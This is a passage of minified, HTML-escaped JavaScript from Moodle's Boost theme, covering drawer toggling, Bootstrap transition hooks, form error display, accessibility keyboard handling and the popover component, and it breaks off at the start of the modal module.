backdropPromise=null;const drawerMap=new Map,SELECTORS_BUTTONS=&#039;[data-toggler=&quot;drawers&quot;]&#039;,SELECTORS_CLOSEBTN=&#039;[data-toggler=&quot;drawers&quot;][data-action=&quot;closedrawer&quot;]&#039;,SELECTORS_OPENBTN=&#039;[data-toggler=&quot;drawers&quot;][data-action=&quot;opendrawer&quot;]&#039;,SELECTORS_TOGGLEBTN=&#039;[data-toggler=&quot;drawers&quot;][data-action=&quot;toggle&quot;]&#039;,SELECTORS_DRAWERS=&#039;[data-region=&quot;fixed-drawer&quot;]&#039;,SELECTORS_CONTAINER=&quot;#page.drawers&quot;,SELECTORS_DRAWERCONTENT=&quot;.drawercontent&quot;,CLASSES_SCROLLED=&quot;scrolled&quot;,CLASSES_SHOW=&quot;show&quot;,CLASSES_NOTINITIALISED=&quot;not-initialized&quot;,sizes_medium=991,sizes_large=1400,getCurrentWidth=()=&gt;{const DomRect=document.body.getBoundingClientRect();return DomRect.x+DomRect.width},isSmall=()=&gt;getCurrentWidth()&lt;sizes_medium,getBackdrop=()=&gt;(backdropPromise||(backdropPromise=_templates.default.render(&quot;core/modal_backdrop&quot;,{}).then((html=&gt;new _modal_backdrop.default(html))).then((modalBackdrop=&gt;(modalBackdrop.getAttachmentPoint().get(0).addEventListener(&quot;click&quot;,(e=&gt;{e.preventDefault(),Drawers.closeAllDrawers()})),modalBackdrop))).catch()),backdropPromise),getDrawerOpenButton=drawerId=&gt;{let openButton=document.querySelector(&quot;&quot;.concat(SELECTORS_OPENBTN,&#039;[data-target=&quot;&#039;).concat(drawerId,&#039;&quot;]&#039;));return openButton||(openButton=document.querySelector(&quot;&quot;.concat(SELECTORS_TOGGLEBTN,&#039;[data-target=&quot;&#039;).concat(drawerId,&#039;&quot;]&#039;))),openButton},disableDrawerTooltips=drawerNode=&gt;{[drawerNode.querySelector(SELECTORS_CLOSEBTN),getDrawerOpenButton(drawerNode.id)].forEach((button=&gt;{button&amp;&amp;disableButtonTooltip(button)}))},disableButtonTooltip=(button,enableOnBlur)=&gt;{button.hasAttribute(&quot;data-original-title&quot;)?((0,_jquery.default)(button).tooltip(&quot;disable&quot;),button.setAttribute(&quot;title&quot;,button.dataset.originalTitle)):(button.dataset.disabledToggle=button.dataset.toggle,button.removeAttribute(&quot;data-toggle&quot;)),enableOnBlur&amp;&amp;(button.dataset.restoreTooltipOnBlur=!0)},enableButtonTooltip=button=&gt;{button.hasAttribute(&quot;data-original-title&quot;)?((0,_jquery.default)(button).tooltip(&quot;enable&quot;),button.removeAttribute(&quot;title&quot;)):button.dataset.disabledToggle&amp;&amp;(button.dataset.toggle=button.dataset.disabledToggle,(0,_jquery.default)(button).tooltip()),delete button.dataset.restoreTooltipOnBlur};class Drawers{constructor(drawerNode){_defineProperty(this,&quot;drawerNode&quot;,null),this.drawerNode=drawerNode,isSmall()&amp;&amp;this.closeDrawer({focusOnOpenButton:!1,updatePreferences:!1}),this.drawerNode.classList.contains(CLASSES_SHOW)?this.openDrawer({focusOnCloseButton:!1}):1==this.drawerNode.dataset.forceopen?isSmall()||this.openDrawer({focusOnCloseButton:!1}):Aria.hide(this.drawerNode),isSmall()&amp;&amp;disableDrawerTooltips(this.drawerNode),(drawerNode=&gt;{const content=drawerNode.querySelector(SELECTORS_DRAWERCONTENT);content&amp;&amp;content.addEventListener(&quot;scroll&quot;,(()=&gt;{drawerNode.classList.toggle(CLASSES_SCROLLED,0!=content.scrollTop)}))})(this.drawerNode),drawerMap.set(drawerNode,this),drawerNode.classList.remove(CLASSES_NOTINITIALISED)}get isOpen(){return this.drawerNode.classList.contains(CLASSES_SHOW)}get closeOnResize(){return!!parseInt(this.drawerNode.dataset.closeOnResize)}static getDrawerInstanceForNode(drawerNode){return drawerMap.has(drawerNode)||new Drawers(drawerNode),drawerMap.get(drawerNode)}dispatchEvent(eventname){let cancelable=arguments.length&gt;1&amp;&amp;void 0!==arguments[1]&amp;&amp;arguments[1];return(0,_event_dispatcher.dispatchEvent)(eventname,{drawerInstance:this},this.drawerNode,{cancelable:cancelable})}openDrawer(){var _this$drawerNode$quer;let{focusOnCloseButton:focusOnCloseButton=!0}=arguments.length&gt;0&amp;&amp;void 0!==arguments[0]?arguments[0]:{};const pendingPromise=new _pending.default(&quot;theme_boost/drawers:open&quot;);if(this.dispatchEvent(Drawers.eventTypes.drawerShow,!0).defaultPrevented)return;null===(_this$drawerNode$quer=this.drawerNode.querySelector(SELECTORS_CLOSEBTN))||void 0===_this$drawerNode$quer||_this$drawerNode$quer.classList.toggle(&quot;hidden&quot;,!0);let openButton=getDrawerOpenButton(this.drawerNode.id);var _jQuery;openButton&amp;&amp;openButton.hasAttribute(&quot;data-original-title&quot;)&amp;&amp;(null===(_jQuery=(0,_jquery.default)(openButton))||void 0===_jQuery||_jQuery.tooltip(&quot;hide&quot;));Aria.unhide(this.drawerNode),this.drawerNode.classList.add(CLASSES_SHOW);const preference=this.drawerNode.dataset.preference;preference&amp;&amp;!isSmall()&amp;&amp;1!=this.drawerNode.dataset.forceopen&amp;&amp;M.util.set_user_preference(preference,!0);const state=this.drawerNode.dataset.state;if(state){document.getElementById(&quot;page&quot;).classList.add(state)}isSmall()&amp;&amp;getBackdrop().then((backdrop=&gt;{backdrop.show();return document.getElementById(&quot;page&quot;).style.overflow=&quot;hidden&quot;,backdrop})).catch();const closeButton=this.drawerNode.querySelector(SELECTORS_CLOSEBTN);focusOnCloseButton&amp;&amp;closeButton&amp;&amp;disableButtonTooltip(closeButton,!0),setTimeout((()=&gt;{closeButton.classList.toggle(&quot;hidden&quot;,!1),focusOnCloseButton&amp;&amp;closeButton.focus(),pendingPromise.resolve()}),300),this.dispatchEvent(Drawers.eventTypes.drawerShown)}closeDrawer(){let{focusOnOpenButton:focusOnOpenButton=!0,updatePreferences:updatePreferences=!0}=arguments.length&gt;0&amp;&amp;void 0!==arguments[0]?arguments[0]:{};const pendingPromise=new _pending.default(&quot;theme_boost/drawers:close&quot;);if(this.dispatchEvent(Drawers.eventTypes.drawerHide,!0).defaultPrevented)return;const closeButton=this.drawerNode.querySelector(SELECTORS_CLOSEBTN);var _jQuery2;(null==closeButton||closeButton.classList.toggle(&quot;hidden&quot;,!0),closeButton.hasAttribute(&quot;data-original-title&quot;))&amp;&amp;(null===(_jQuery2=(0,_jquery.default)(closeButton))||void 0===_jQuery2||_jQuery2.tooltip(&quot;hide&quot;));const preference=this.drawerNode.dataset.preference;preference&amp;&amp;updatePreferences&amp;&amp;!isSmall()&amp;&amp;M.util.set_user_preference(preference,!1);const state=this.drawerNode.dataset.state;if(state){document.getElementById(&quot;page&quot;).classList.remove(state)}Aria.hide(this.drawerNode),this.drawerNode.classList.remove(CLASSES_SHOW),getBackdrop().then((backdrop=&gt;{if(backdrop.hide(),isSmall()){document.getElementById(&quot;page&quot;).style.overflow=&quot;auto&quot;}return backdrop})).catch();let openButton=getDrawerOpenButton(this.drawerNode.id);openButton&amp;&amp;disableButtonTooltip(openButton,!0),setTimeout((()=&gt;{openButton&amp;&amp;focusOnOpenButton&amp;&amp;openButton.focus(),pendingPromise.resolve()}),300),this.dispatchEvent(Drawers.eventTypes.drawerHidden)}toggleVisibility(){this.drawerNode.classList.contains(CLASSES_SHOW)?this.closeDrawer():this.openDrawer()}static closeAllDrawers(){drawerMap.forEach((drawerInstance=&gt;{drawerInstance.closeDrawer()}))}static closeOtherDrawers(comparisonInstance){drawerMap.forEach((drawerInstance=&gt;{drawerInstance!==comparisonInstance&amp;&amp;drawerInstance.closeDrawer()}))}}_exports.default=Drawers,_defineProperty(Drawers,&quot;eventTypes&quot;,{drawerShow:&quot;theme_boost/drawers:show&quot;,drawerShown:&quot;theme_boost/drawers:shown&quot;,drawerHide:&quot;theme_boost/drawers:hide&quot;,drawerHidden:&quot;theme_boost/drawers:hidden&quot;});const setLastUsedToggle=toggleButton=&gt;{toggleButton.dataset.target&amp;&amp;(document.querySelectorAll(&quot;&quot;.concat(SELECTORS_BUTTONS,&#039;[data-target=&quot;&#039;).concat(toggleButton.dataset.target,&#039;&quot;]&#039;)).forEach((btn=&gt;{btn.dataset.lastused=!1})),toggleButton.dataset.lastused=!0)};(()=&gt;{const body=document.querySelector(&quot;body&quot;),drawerLayout=document.querySelector(SELECTORS_CONTAINER);drawerLayout&amp;&amp;drawerLayout.addEventListener(&quot;scroll&quot;,(()=&gt;{drawerLayout.scrollTop&gt;=window.innerHeight?body.classList.add(CLASSES_SCROLLED):body.classList.remove(CLASSES_SCROLLED)}))})(),(()=&gt;{document.addEventListener(&quot;click&quot;,(e=&gt;{const toggleButton=e.target.closest(SELECTORS_TOGGLEBTN);if(toggleButton&amp;&amp;toggleButton.dataset.target){e.preventDefault();const targetDrawer=document.getElementById(toggleButton.dataset.target),drawerInstance=Drawers.getDrawerInstanceForNode(targetDrawer);setLastUsedToggle(toggleButton),drawerInstance.toggleVisibility()}const openDrawerButton=e.target.closest(SELECTORS_OPENBTN);if(openDrawerButton&amp;&amp;openDrawerButton.dataset.target){e.preventDefault();const targetDrawer=document.getElementById(openDrawerButton.dataset.target),drawerInstance=Drawers.getDrawerInstanceForNode(targetDrawer);setLastUsedToggle(toggleButton),drawerInstance.openDrawer()}const closeDrawerButton=e.target.closest(SELECTORS_CLOSEBTN);if(closeDrawerButton&amp;&amp;closeDrawerButton.dataset.target){e.preventDefault();const targetDrawer=document.getElementById(closeDrawerButton.dataset.target);Drawers.getDrawerInstanceForNode(targetDrawer).closeDrawer(),(target=&gt;{const lastUsedButton=document.querySelector(&quot;&quot;.concat(SELECTORS_BUTTONS,&#039;[data-target=&quot;&#039;).concat(target,&#039;&quot;][data-lastused=&quot;true&quot;&#039;));lastUsedButton&amp;&amp;lastUsedButton.focus()})(closeDrawerButton.dataset.target)}})),document.addEventListener(Drawers.eventTypes.drawerShow,(e=&gt;{getCurrentWidth()&gt;=sizes_large||Drawers.closeOtherDrawers(e.detail.drawerInstance)}));const btnSelector=&quot;&quot;.concat(SELECTORS_TOGGLEBTN,&quot;, &quot;).concat(SELECTORS_OPENBTN,&quot;, &quot;).concat(SELECTORS_CLOSEBTN);document.addEventListener(&quot;focusout&quot;,(e=&gt;{const button=e.target.closest(btnSelector);void 0!==(null==button?void 0:button.dataset.restoreTooltipOnBlur)&amp;&amp;enableButtonTooltip(button)}));window.addEventListener(&quot;resize&quot;,(0,_utils.debounce)((()=&gt;{if(isSmall()){let anyOpen=!1;drawerMap.forEach((drawerInstance=&gt;{disableDrawerTooltips(drawerInstance.drawerNode),drawerInstance.isOpen&amp;&amp;(drawerInstance.closeOnResize?drawerInstance.closeDrawer():anyOpen=!0)})),anyOpen&amp;&amp;getBackdrop().then((backdrop=&gt;backdrop.show())).catch()}else drawerMap.forEach((drawerInstance=&gt;{var drawerNode;[(drawerNode=drawerInstance.drawerNode).querySelector(SELECTORS_CLOSEBTN),getDrawerOpenButton(drawerNode.id)].forEach((button=&gt;{button&amp;&amp;enableButtonTooltip(button)}))})),getBackdrop().then((backdrop=&gt;backdrop.hide())).catch()}),400))})();return document.querySelectorAll(SELECTORS_DRAWERS).forEach((drawerNode=&gt;Drawers.getDrawerInstanceForNode(drawerNode))),_exports.default}));
define(&quot;theme_boost/index&quot;,[&quot;exports&quot;,&quot;./bootstrap/alert&quot;,&quot;./bootstrap/button&quot;,&quot;./bootstrap/carousel&quot;,&quot;./bootstrap/collapse&quot;,&quot;./bootstrap/dropdown&quot;,&quot;./bootstrap/modal&quot;,&quot;./bootstrap/popover&quot;,&quot;./bootstrap/scrollspy&quot;,&quot;./bootstrap/tab&quot;,&quot;./bootstrap/toast&quot;,&quot;./bootstrap/tooltip&quot;,&quot;./bootstrap/util&quot;],(function(_exports,_alert,_button,_carousel,_collapse,_dropdown,_modal,_popover,_scrollspy,_tab,_toast,_tooltip,_util){function _interopRequireDefault(obj){return obj&amp;&amp;obj.__esModule?obj:{default:obj}}Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),Object.defineProperty(_exports,&quot;Alert&quot;,{enumerable:!0,get:function(){return _alert.default}}),Object.defineProperty(_exports,&quot;Button&quot;,{enumerable:!0,get:function(){return _button.default}}),Object.defineProperty(_exports,&quot;Carousel&quot;,{enumerable:!0,get:function(){return _carousel.default}}),Object.defineProperty(_exports,&quot;Collapse&quot;,{enumerable:!0,get:function(){return _collapse.default}}),Object.defineProperty(_exports,&quot;Dropdown&quot;,{enumerable:!0,get:function(){return _dropdown.default}}),Object.defineProperty(_exports,&quot;Modal&quot;,{enumerable:!0,get:function(){return _modal.default}}),Object.defineProperty(_exports,&quot;Popover&quot;,{enumerable:!0,get:function(){return _popover.default}}),Object.defineProperty(_exports,&quot;Scrollspy&quot;,{enumerable:!0,get:function(){return _scrollspy.default}}),Object.defineProperty(_exports,&quot;Tab&quot;,{enumerable:!0,get:function(){return _tab.default}}),Object.defineProperty(_exports,&quot;Toast&quot;,{enumerable:!0,get:function(){return _toast.default}}),Object.defineProperty(_exports,&quot;Tooltip&quot;,{enumerable:!0,get:function(){return _tooltip.default}}),Object.defineProperty(_exports,&quot;Util&quot;,{enumerable:!0,get:function(){return _util.default}}),_alert=_interopRequireDefault(_alert),_button=_interopRequireDefault(_button),_carousel=_interopRequireDefault(_carousel),_collapse=_interopRequireDefault(_collapse),_dropdown=_interopRequireDefault(_dropdown),_modal=_interopRequireDefault(_modal),_popover=_interopRequireDefault(_popover),_scrollspy=_interopRequireDefault(_scrollspy),_tab=_interopRequireDefault(_tab),_toast=_interopRequireDefault(_toast),_tooltip=_interopRequireDefault(_tooltip),_util=_interopRequireDefault(_util)}));
define(&quot;theme_boost/pending&quot;,[&quot;exports&quot;,&quot;jquery&quot;],(function(_exports,_jquery){var obj;
/**
   * Add Pending JS checks to stock Bootstrap transitions.
   *
   * @module     theme_boost/pending
   * @copyright  2019 Andrew Nicols &lt;andrew@nicols.co.uk&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.default=void 0,_jquery=(obj=_jquery)&amp;&amp;obj.__esModule?obj:{default:obj};const moduleTransitions={alert:[{start:&quot;close&quot;,end:&quot;closed&quot;}],carousel:[{start:&quot;slide&quot;,end:&quot;slid&quot;}],collapse:[{start:&quot;hide&quot;,end:&quot;hidden&quot;},{start:&quot;show&quot;,end:&quot;shown&quot;}],dropdown:[{start:&quot;hide&quot;,end:&quot;hidden&quot;},{start:&quot;show&quot;,end:&quot;shown&quot;}],modal:[{start:&quot;hide&quot;,end:&quot;hidden&quot;},{start:&quot;show&quot;,end:&quot;shown&quot;}],popover:[{start:&quot;hide&quot;,end:&quot;hidden&quot;},{start:&quot;show&quot;,end:&quot;shown&quot;}],tab:[{start:&quot;hide&quot;,end:&quot;hidden&quot;},{start:&quot;show&quot;,end:&quot;shown&quot;}],toast:[{start:&quot;hide&quot;,end:&quot;hidden&quot;},{start:&quot;show&quot;,end:&quot;shown&quot;}],tooltip:[{start:&quot;hide&quot;,end:&quot;hidden&quot;},{start:&quot;show&quot;,end:&quot;shown&quot;}]};return _exports.default=()=&gt;{Object.entries(moduleTransitions).forEach((_ref=&gt;{let[key,pairs]=_ref;pairs.forEach((pair=&gt;{const eventStart=&quot;&quot;.concat(pair.start,&quot;.bs.&quot;).concat(key),eventEnd=&quot;&quot;.concat(pair.end,&quot;.bs.&quot;).concat(key);(0,_jquery.default)(document.body).on(eventStart,(e=&gt;{M.util.js_pending(eventEnd),(0,_jquery.default)(e.target).one(eventEnd,(()=&gt;{M.util.js_complete(eventEnd)}))}))}))}))},_exports.default}));
/**
 * Custom form error event handler to manipulate the bootstrap markup and show
 * nicely styled errors in an mform.
 *
 * @module     theme_boost/form-display-errors
 * @copyright  2016 Damyon Wiese &lt;damyon@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;theme_boost/form-display-errors&quot;,[&quot;jquery&quot;,&quot;core_form/events&quot;],(function($,FormEvent){return{enhance:function(elementid){var element=document.getElementById(elementid);if(element){element.addEventListener(FormEvent.eventTypes.formFieldValidationFailed,(e=&gt;{const msg=e.detail.message;e.preventDefault();var parent=$(element).closest(&quot;.form-group&quot;),feedback=parent.find(&quot;.form-control-feedback&quot;);const feedbackId=feedback.attr(&quot;id&quot;);let describedBy=$(element).attr(&quot;aria-describedby&quot;);void 0===describedBy&amp;&amp;(describedBy=&quot;&quot;);let describedByIds=[];describedBy.length&amp;&amp;(describedByIds=describedBy.split(&quot; &quot;));const feedbackIndex=describedByIds.indexOf(feedbackId);&quot;TEXTAREA&quot;==$(element).prop(&quot;tagName&quot;)&amp;&amp;parent.find(&quot;[contenteditable]&quot;)&amp;&amp;(element=parent.find(&quot;[contenteditable]&quot;)),&quot;&quot;!==msg?(parent.addClass(&quot;has-danger&quot;),parent.data(&quot;client-validation-error&quot;,!0),$(element).addClass(&quot;is-invalid&quot;),-1===feedbackIndex&amp;&amp;(describedByIds.push(feedbackId),$(element).attr(&quot;aria-describedby&quot;,describedByIds.join(&quot; &quot;))),$(element).attr(&quot;aria-invalid&quot;,!0),feedback.attr(&quot;tabindex&quot;,0),feedback.html(msg),feedback.is(&quot;:visible&quot;)||(feedback.show(),feedback.focus())):!0===parent.data(&quot;client-validation-error&quot;)&amp;&amp;(parent.removeClass(&quot;has-danger&quot;),parent.data(&quot;client-validation-error&quot;,!1),$(element).removeClass(&quot;is-invalid&quot;),feedbackIndex&gt;-1&amp;&amp;describedByIds.splice(feedbackIndex,1),describedByIds.length?(describedBy=describedByIds.join(&quot; &quot;),$(element).attr(&quot;aria-describedby&quot;,describedBy)):$(element).removeAttr(&quot;aria-describedby&quot;),$(element).attr(&quot;aria-invalid&quot;,!1),feedback.hide())}));var form=element.closest(&quot;form&quot;);form&amp;&amp;!(&quot;boostFormErrorsEnhanced&quot;in form.dataset)&amp;&amp;(form.addEventListener(&quot;submit&quot;,(function(){var visibleError=$(&quot;.form-control-feedback:visible&quot;);visibleError.length&amp;&amp;visibleError[0].focus()})),form.dataset.boostFormErrorsEnhanced=1)}}}}));
define(&quot;theme_boost/aria&quot;,[&quot;exports&quot;,&quot;jquery&quot;,&quot;core/pending&quot;],(function(_exports,_jquery,_pending){function _interopRequireDefault(obj){return obj&amp;&amp;obj.__esModule?obj:{default:obj}}
/**
   * Enhancements to Bootstrap components for accessibility.
   *
   * @module     theme_boost/aria
   * @copyright  2018 Damyon Wiese &lt;damyon@moodle.com&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.init=void 0,_jquery=_interopRequireDefault(_jquery),_pending=_interopRequireDefault(_pending);const dropdownFix=()=&gt;{let focusEnd=!1;const setFocusEnd=function(){let end=!(arguments.length&gt;0&amp;&amp;void 0!==arguments[0])||arguments[0];focusEnd=end},shiftFocus=element=&gt;{setTimeout((pendingPromise=&gt;{element.focus(),pendingPromise.resolve()}),50,new _pending.default(&quot;core/aria:delayed-focus&quot;))},handleMenuButton=e=&gt;{const trigger=e.key;let fixFocus=!1;if(&quot; &quot;!==trigger&amp;&amp;&quot;Enter&quot;!==trigger||(fixFocus=!0,e.preventDefault(),e.target.click()),&quot;ArrowUp&quot;!==trigger&amp;&amp;&quot;ArrowDown&quot;!==trigger||(fixFocus=!0),!fixFocus)return;const menu=e.target.parentElement.querySelector(&#039;[role=&quot;menu&quot;]&#039;);let menuItems=!1,foundMenuItem=!1;menu&amp;&amp;(menuItems=menu.querySelectorAll(&#039;[role=&quot;menuitem&quot;]&#039;)),menuItems&amp;&amp;menuItems.length&gt;0&amp;&amp;(&quot;ArrowUp&quot;===trigger?setFocusEnd():setFocusEnd(!1),foundMenuItem=(()=&gt;{const result=focusEnd;return focusEnd=!1,result})()?menuItems[menuItems.length-1]:menuItems[0]),foundMenuItem&amp;&amp;shiftFocus(foundMenuItem)};document.addEventListener(&quot;keypress&quot;,(e=&gt;{if(e.target.matches(&#039;.dropdown [role=&quot;menu&quot;] [role=&quot;menuitem&quot;]&#039;)){const menu=e.target.closest(&#039;[role=&quot;menu&quot;]&#039;);if(!menu)return;const menuItems=menu.querySelectorAll(&#039;[role=&quot;menuitem&quot;]&#039;);if(!menuItems)return;const trigger=e.key.toLowerCase();for(let i=0;i&lt;menuItems.length;i++){const item=menuItems[i];if(0==item.text.trim().toLowerCase().indexOf(trigger)){shiftFocus(item);break}}}})),document.addEventListener(&quot;keydown&quot;,(e=&gt;{if(e.target.matches(&#039;[data-toggle=&quot;dropdown&quot;]&#039;)&amp;&amp;handleMenuButton(e),e.target.matches(&#039;.dropdown [role=&quot;menu&quot;] [role=&quot;menuitem&quot;]&#039;)){const trigger=e.key;let next=!1;const menu=e.target.closest(&#039;[role=&quot;menu&quot;]&#039;);if(!menu)return;const menuItems=menu.querySelectorAll(&#039;[role=&quot;menuitem&quot;]&#039;);if(!menuItems)return;if(&quot;ArrowDown&quot;==trigger){for(let i=0;i&lt;menuItems.length-1;i++)if(menuItems[i]==e.target){next=menuItems[i+1];break}next||(next=menuItems[0])}else if(&quot;ArrowUp&quot;==trigger){for(let i=1;i&lt;menuItems.length;i++)if(menuItems[i]==e.target){next=menuItems[i-1];break}next||(next=menuItems[menuItems.length-1])}else&quot;Home&quot;==trigger?next=menuItems[0]:&quot;End&quot;==trigger&amp;&amp;(next=menuItems[menuItems.length-1]);next&amp;&amp;(e.preventDefault(),shiftFocus(next))}else;})),(0,_jquery.default)(&quot;.dropdown&quot;).on(&quot;hidden.bs.dropdown&quot;,(e=&gt;{const trigger=e.target.querySelector(&#039;[data-toggle=&quot;dropdown&quot;]&#039;),focused=document.activeElement!=document.body?document.activeElement:null;trigger&amp;&amp;focused&amp;&amp;e.target.contains(focused)&amp;&amp;shiftFocus(trigger)}))},tabElementFix=()=&gt;{document.addEventListener(&quot;keydown&quot;,(e=&gt;{[&quot;ArrowUp&quot;,&quot;ArrowDown&quot;,&quot;ArrowLeft&quot;,&quot;ArrowRight&quot;,&quot;Home&quot;,&quot;End&quot;].includes(e.key)&amp;&amp;e.target.matches(&#039;[role=&quot;tablist&quot;] [role=&quot;tab&quot;]&#039;)&amp;&amp;(e=&gt;{const tabList=e.target.closest(&#039;[role=&quot;tablist&quot;]&#039;),vertical=&quot;vertical&quot;==tabList.getAttribute(&quot;aria-orientation&quot;),rtl=window.right_to_left(),arrowNext=vertical?&quot;ArrowDown&quot;:rtl?&quot;ArrowLeft&quot;:&quot;ArrowRight&quot;,arrowPrevious=vertical?&quot;ArrowUp&quot;:rtl?&quot;ArrowRight&quot;:&quot;ArrowLeft&quot;,tabs=Array.prototype.filter.call(tabList.querySelectorAll(&#039;[role=&quot;tab&quot;]&#039;),(tab=&gt;!!tab.offsetHeight));for(let i=0;i&lt;tabs.length;i++)tabs[i].index=i;switch(e.key){case arrowNext:e.preventDefault(),void 0!==e.target.index&amp;&amp;tabs[e.target.index+1]?tabs[e.target.index+1].focus():tabs[0].focus();break;case arrowPrevious:e.preventDefault(),void 0!==e.target.index&amp;&amp;tabs[e.target.index-1]?tabs[e.target.index-1].focus():tabs[tabs.length-1].focus();break;case&quot;Home&quot;:e.preventDefault(),tabs[0].focus();break;case&quot;End&quot;:e.preventDefault(),tabs[tabs.length-1].focus()}})(e)})),document.addEventListener(&quot;click&quot;,(e=&gt;{if(e.target.matches(&#039;[role=&quot;tablist&quot;] [data-toggle=&quot;tab&quot;], [role=&quot;tablist&quot;] [data-toggle=&quot;pill&quot;]&#039;)){const tabs=e.target.closest(&#039;[role=&quot;tablist&quot;]&#039;).querySelectorAll(&#039;[data-toggle=&quot;tab&quot;], [data-toggle=&quot;pill&quot;]&#039;);e.preventDefault(),(0,_jquery.default)(e.target).tab(&quot;show&quot;),tabs.forEach((tab=&gt;{tab.tabIndex=-1})),e.target.tabIndex=0}}))};_exports.init=()=&gt;{dropdownFix(),window.addEventListener(&quot;load&quot;,(()=&gt;{const alerts=document.querySelectorAll(&#039;[data-aria-autofocus=&quot;true&quot;][role=&quot;alert&quot;]&#039;);Array.prototype.forEach.call(alerts,(autofocusElement=&gt;{autofocusElement.innerHTML+=&quot; &quot;,autofocusElement.removeAttribute(&quot;data-aria-autofocus&quot;)}))})),tabElementFix(),document.addEventListener(&quot;keydown&quot;,(e=&gt;{e.target.matches(&#039;[data-toggle=&quot;collapse&quot;]&#039;)&amp;&amp;&quot; &quot;===e.key&amp;&amp;(e.preventDefault(),e.target.click())}))}}));
define(&quot;theme_boost/bootstrap/popover&quot;,[&quot;exports&quot;,&quot;jquery&quot;,&quot;./tooltip&quot;],(function(_exports,_jquery,_tooltip){function _interopRequireDefault(obj){return obj&amp;&amp;obj.__esModule?obj:{default:obj}}Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.default=void 0,_jquery=_interopRequireDefault(_jquery),_tooltip=_interopRequireDefault(_tooltip);const NAME=&quot;popover&quot;,EVENT_KEY=&quot;.&quot;.concat(&quot;bs.popover&quot;),JQUERY_NO_CONFLICT=_jquery.default.fn[NAME],BSCLS_PREFIX_REGEX=new RegExp(&quot;(^|\\s)&quot;.concat(&quot;bs-popover&quot;,&quot;\\S+&quot;),&quot;g&quot;),Default={..._tooltip.default.Default,placement:&quot;right&quot;,trigger:&quot;click&quot;,content:&quot;&quot;,template:&#039;&lt;div class=&quot;popover&quot; role=&quot;tooltip&quot;&gt;&lt;div class=&quot;arrow&quot;&gt;&lt;/div&gt;&lt;h3 class=&quot;popover-header&quot;&gt;&lt;/h3&gt;&lt;div class=&quot;popover-body&quot;&gt;&lt;/div&gt;&lt;/div&gt;&#039;},DefaultType={..._tooltip.default.DefaultType,content:&quot;(string|element|function)&quot;},Event={HIDE:&quot;hide&quot;.concat(EVENT_KEY),HIDDEN:&quot;hidden&quot;.concat(EVENT_KEY),SHOW:&quot;show&quot;.concat(EVENT_KEY),SHOWN:&quot;shown&quot;.concat(EVENT_KEY),INSERTED:&quot;inserted&quot;.concat(EVENT_KEY),CLICK:&quot;click&quot;.concat(EVENT_KEY),FOCUSIN:&quot;focusin&quot;.concat(EVENT_KEY),FOCUSOUT:&quot;focusout&quot;.concat(EVENT_KEY),MOUSEENTER:&quot;mouseenter&quot;.concat(EVENT_KEY),MOUSELEAVE:&quot;mouseleave&quot;.concat(EVENT_KEY)};class Popover extends _tooltip.default{static get VERSION(){return&quot;4.6.0&quot;}static get Default(){return Default}static get NAME(){return NAME}static get DATA_KEY(){return&quot;bs.popover&quot;}static get Event(){return Event}static get EVENT_KEY(){return EVENT_KEY}static get DefaultType(){return DefaultType}isWithContent(){return this.getTitle()||this._getContent()}addAttachmentClass(attachment){(0,_jquery.default)(this.getTipElement()).addClass(&quot;&quot;.concat(&quot;bs-popover&quot;,&quot;-&quot;).concat(attachment))}getTipElement(){return this.tip=this.tip||(0,_jquery.default)(this.config.template)[0],this.tip}setContent(){const $tip=(0,_jquery.default)(this.getTipElement());this.setElementContent($tip.find(&quot;.popover-header&quot;),this.getTitle());let content=this._getContent();&quot;function&quot;==typeof content&amp;&amp;(content=content.call(this.element)),this.setElementContent($tip.find(&quot;.popover-body&quot;),content),$tip.removeClass(&quot;&quot;.concat(&quot;fade&quot;,&quot; &quot;).concat(&quot;show&quot;))}_getContent(){return this.element.getAttribute(&quot;data-content&quot;)||this.config.content}_cleanTipClass(){const $tip=(0,_jquery.default)(this.getTipElement()),tabClass=$tip.attr(&quot;class&quot;).match(BSCLS_PREFIX_REGEX);null!==tabClass&amp;&amp;tabClass.length&gt;0&amp;&amp;$tip.removeClass(tabClass.join(&quot;&quot;))}static _jQueryInterface(config){return this.each((function(){let data=(0,_jquery.default)(this).data(&quot;bs.popover&quot;);const _config=&quot;object&quot;==typeof config?config:null;if((data||!/dispose|hide/.test(config))&amp;&amp;(data||(data=new Popover(this,_config),(0,_jquery.default)(this).data(&quot;bs.popover&quot;,data)),&quot;string&quot;==typeof config)){if(void 0===data[config])throw new TypeError(&#039;No method named &quot;&#039;.concat(config,&#039;&quot;&#039;));data[config]()}}))}}_jquery.default.fn[NAME]=Popover._jQueryInterface,_jquery.default.fn[NAME].Constructor=Popover,_jquery.default.fn[NAME].noConflict=()=&gt;(_jquery.default.fn[NAME]=JQUERY_NO_CONFLICT,Popover._jQueryInterface);var _default=Popover;return _exports.default=_default,_exports.default}));
define(&quot;theme_boost/bootstrap/modal&quot;,[&quot;exports&quot;,&quot;jquery&quot;,&quot;./util&quot;],(function(_exports,_jquery,_util){function _interopRequireDefault(obj){return obj&amp;&amp;obj.__esModule?obj:{default:obj}}Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.default=void 0,_jquery=_interopRequireDefault(_jquery),_util=_interopRequireDefault(_util);const 